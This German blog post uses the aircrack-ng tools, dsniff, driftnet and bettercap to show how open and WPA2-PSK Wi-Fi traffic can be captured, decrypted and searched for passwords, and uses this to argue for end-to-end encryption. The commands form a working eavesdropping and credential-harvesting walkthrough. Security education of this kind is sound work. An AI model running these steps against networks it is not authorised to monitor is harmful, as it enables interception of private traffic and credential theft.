Passives Mitschneiden von WLAN-Verkehr

Als Endverbraucher mit eventuell geringem Datenvolumen für den mobilen Interneteinsatz freut mich sich – vor allem im Ausland – über kostenfreie, offene WLANs. Dieser Artikel soll zeigen, warum man grundsätzlich Ende-zu-Ende-Verschlüsselung bei jeder Kommunikation verwenden sollte und warum man auch in WPA2-gesicherten WLANs nicht vor Mithörern geschützt ist.

Bei unverschlüsseltem WLAN

Wenn ein Angreifer die WLAN-Kommunikation von anderen mitschneiden will, möchte er möglichst wenig Spuren hinterlassen. Das geht auch auf dem Access Point. Um bei einem freien WLAN (ohne Verschlüsselung) den kompletten Netzwerkverkehr „on the fly“ auszuwerten sind hierfür die folgenden Schritte notwendig:

  1. Starten des Monitor-Modus:
    airmon-ng start <interface>
    
  2. Erstellen eines virtuellen Tunnel-Interfaces und Filtern des Verkehrs für eine bestimmte BSSID:
    airtun-ng <monitoring_interface> -a <bssid>
    
  3. Aktivieren des neuen Tunnel-Interfaces:
    ifconfig at0 up
    
    1. Wenn anschließend Tools wie bettercap verwendet werden sollen, benötigen diese hierfür eine beliebige IP auf dem Interface:
      ifconfig at0 10.3.3.3/30
      
  4. Nun kann schon ohne Probleme der Netzwerkverkehr der Teilnehmer mittels tcpdump oder Wireshark mitgelesen und ausgewertet werden. Es gibt aber auch noch ein paar Optionen, die die Auswertung vereinfachen:
    1. Direktes Extrahieren von Zugangsdaten aus bekannten Protokollen:
      dsniff -i at0
      
    2. Anzeigen der übertragenen Bilder – gut um Sicherheitsbewusstsein zu fördern:
      driftnet -i at0 -p
      
    3. Verwenden von bettercap mit wesentlich mehr Funktionen als dsniff:
      1. Ohne eigene Filter:
        bettercap -I ath0 --no-spoofing --no-discovery --sniffer
        
      2. Mit eigenen Filtern, um nach speziellen Inhalten zu suchen:
        bettercap -I ath0 --no-spoofing --no-discovery --sniffer --custom-parser ".*(password|pin|kennwort|passwort).*"
        

 

Bei geschützten (beispielsweise WPA2) WLANs

Die Verwendung von geschützten WLANs hilft nur bedingt gegen das einfache Mitschneiden und Analysieren des Netzwerkverkehrs. Ein Angreifer kann grundsätzlich den verschlüsselten Verkehr mitschneiden, doch benötigt er für die Analyse das Passwort.

Gerade Unternehmen, die für die eigene Netzwerkstruktur WLAN mit WPA2 und einem geteilten Passwort (PSK) verwenden, wechseln sehr selten dieses Passwort. Mitarbeiter, die aus dem Unternehmen ausscheiden, sind häufig noch im Besitz des Passworts und können so ohne großen technischen Aufwand interne Kommunikation – sofern sie nicht Ende-zu-Ende verschlüsselt ist – mitlesen. Allerdings ist dies nicht wie beim obigen Beispiel in Echtzeit möglich. Hier muss der Verkehr erst mitgeschnitten, entschlüsselt und anschließend analysiert werden.

Das Vorgehen hierbei ist folgendermaßen:

  1. Starten des Monitor-Modus:
    airmon-ng start <interface>
    
  2. Aufzeichnen des Netzwerkverkehrs. Hier habe ich die Channel-Nummer als Filter genutzt, es kann aber auch ohne Probleme die BSSID verwendet werden:
    airodump-ng -c 6 --write /tmp/testfile.pcap --output-format pcap <monitoring_interface>
    
  3. airodump-ng schreibt mehrere Dateien. Doch um diese zu einem großen pcap-File zusammenzuführen, müssen zunächst die einzelnen Abschnitte mittels PSK entschlüsselt werden:
    for pcap in `ls /tmp/testfile.pcap*`; do airdecap-ng -p <psk> -b <bssid> -e <essid> ${pcap}; done
    

    als Beispiel:

    for pcap in `ls /tmp/testfile.pcap*`; do airdecap-ng -p super_sicheres_passwort -b 00:DE:AD:BE:EF:00 -e freewifi ${pcap}; done
    
  4. Anschließend können die entschlüsselten Fragmente zu einem pcap-File zusammengeführt und nun mit den oben genannten Tools (dsniff, driftnet oder bettercap), welche auch die Möglichkeit bieten ein pcap-File zu verwenden, analysiert werden.
    mergecap -F pcap -w /tmp/decrypted.pcap /tmp/testfile.pcap*-dec.cap
    

Die Ergebnisse können auf jeden Fall spannend sein:

raw_login

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.